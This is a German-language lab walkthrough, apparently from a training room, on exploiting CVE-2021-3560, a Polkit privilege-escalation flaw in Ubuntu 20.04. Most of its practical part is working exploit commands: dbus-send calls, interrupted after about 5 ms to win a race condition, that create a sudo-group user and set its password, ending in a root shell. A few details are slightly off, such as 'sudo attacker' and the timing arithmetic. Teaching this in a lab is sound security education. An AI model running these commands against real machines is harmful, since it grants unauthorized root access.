
Schritt-für-Schritt-Anleitung zur Ausnutzung von CVE-2021-3560, einer Polkit-Privilegieneskalations-Schwachstelle, einschließlich Hintergrund, Schwachstellenanalyse und manuellen Ausnutzungsbefehlen.
Anfang 2021 entdeckte ein Forscher namens Kevin Backhouse eine sieben Jahre alte Privilegieneskalations-Schwachstelle (später als CVE-2021-3560 bezeichnet) im Linux-Dienstprogramm Polkit. Glücklicherweise verwenden verschiedene Linux-Distributionen (und sogar verschiedene Versionen derselben Distribution) unterschiedliche Versionen der Software, sodass nur einige anfällig sind.
Insbesondere waren die folgenden gängigen Distributionen unter anderem betroffen:
Alle sollten inzwischen gepatchte Versionen ihrer entsprechenden Polkit-Pakete veröffentlicht haben. Wenn Sie jedoch auf eine dieser Distributionen stoßen, könnte sie immer noch anfällig sein, wenn sie längere Zeit nicht aktualisiert wurde.
Für diesen Raum konzentrieren wir uns speziell auf Ubuntu 20.04. Canonical hat einen Patch für ihre Version von Polkit (policykit-1) mit der Versionsnummer 0.105-26ubuntu1.1 veröffentlicht. Die letzte anfällige Version, die in den apt-Repositories für Focal Fossa verfügbar ist, ist 0.105-26ubuntu1. Wenn Sie diese sehen, haben Sie vielleicht Glück!
Wir können apt list --installed | grep policykit-1 verwenden, um die installierte Version von Polkit zu überprüfen:
Die logische Frage, die Sie sich jetzt stellen, ist: „Was ist Polkit?“
Polkit ist Teil des Linux-Autorisierungssystems. Wenn Sie versuchen, eine Aktion auszuführen, die höhere Berechtigungen erfordert, kann das Policy Toolkit verwendet werden, um zu bestimmen, ob Sie die erforderlichen Berechtigungen besitzen. Es ist in systemd integriert und wesentlich konfigurierbarer als das herkömmliche sudo-System. Tatsächlich wird es manchmal als „sudo von systemd“ bezeichnet.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
Dieser Befehl sendet manuell eine dbus-Nachricht an den Accounts-Daemon, gibt die Antwort aus und erstellt einen neuen Benutzer namens attacker (string:attacker) mit einer Beschreibung "Pentester Account" (string:"Pentester Account") und setzt die Mitgliedschaft in der sudo-Gruppe auf wahr (referenziert durch das int32:1-Flag).
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:'PASSWORD_HASH' string:'Ask the pentester'
Dies sendet erneut eine dbus-Nachricht an den Accounts-Daemon, die eine Passwortänderung für den Benutzer mit einer von uns angegebenen ID (in rot dargestellt), einem manuell zu generierenden Passwort-Hash und einem Hinweis ("Ask the pentester") anfordert.
Da dies effektiv eine Race Condition ist, müssen wir zunächst bestimmen, wie lange unser Befehl zur Ausführung benötigt. Versuchen wir es mit der ersten dbus-Nachricht:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
z.B.:
real 0m0.11s
user 0m0.002s
sys 0m0000s
Dies dauert 0,011 Sekunden oder 11 Millisekunden. Diese Zahl wird bei jeder Ausführung des Befehls leicht variieren; auf der bereitgestellten Maschine sollte sie jedoch immer in etwa diesem Bereich liegen.
Wir müssen den Befehl etwa auf halbem Weg der Ausführung abbrechen. Fünf Millisekunden funktionieren auf der bereitgestellten Maschine normalerweise recht gut; beachten Sie jedoch, dass dies keine exakte Sache ist. Möglicherweise müssen Sie die Schlafzeit ändern oder den Befehl mehrmals ausführen, bevor es funktioniert. Wenn Sie eine Zeit gefunden haben, die funktioniert, sollte sie jedoch konsistent funktionieren. Wenn Sie Schwierigkeiten haben, eine funktionierende Zeit zu finden, funktioniert es in der Regel recht gut, den Befehl in eine Bash-for-Schleife zu packen und schnell eine Reihe von Zeiten durchzugehen.
Versuchen wir es. Wir müssen die dbus-Nachricht senden und sie dann etwa auf halbem Weg abbrechen:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
Um den obigen Befehl zu erklären: Wir haben die dbus-Nachricht als Hintergrundjob gesendet (mit dem kaufmännischen Und, um den Befehl in den Hintergrund zu stellen). Dann haben wir ihn angewiesen, 5 Millisekunden zu schlafen (sleep 0.005s) und anschließend den vorherigen Prozess zu beenden ($!). Dies hat erfolgreich den neuen Benutzer erstellt und ihn der sudo-Gruppe hinzugefügt.
Wir sollten an dieser Punkt notieren, dass die Benutzer-ID des neuen Benutzers in diesem Fall 1000 ist.
id attacker
Jetzt müssen wir dem Benutzer nur noch ein Passwort geben und schon sollte es losgehen!
Wir benötigen hier einen Passwort-Hash, also generieren wir einen Sha512Crypt-Hash für unser gewähltes Passwort (Expl01ted):
openssl passwd -6 Expl01ted
Mit openssl generieren wir ein Passwort vom Typ 6 (SHA512-crypt) mit unserem Klartext-Passwort (Expl01ted).
Jetzt machen wir den letzten Schritt! 5 Millisekunden haben beim letzten Mal funktioniert, also sollten sie auch hier funktionieren:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
sudo attacker
sudo -l
sudo -s
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about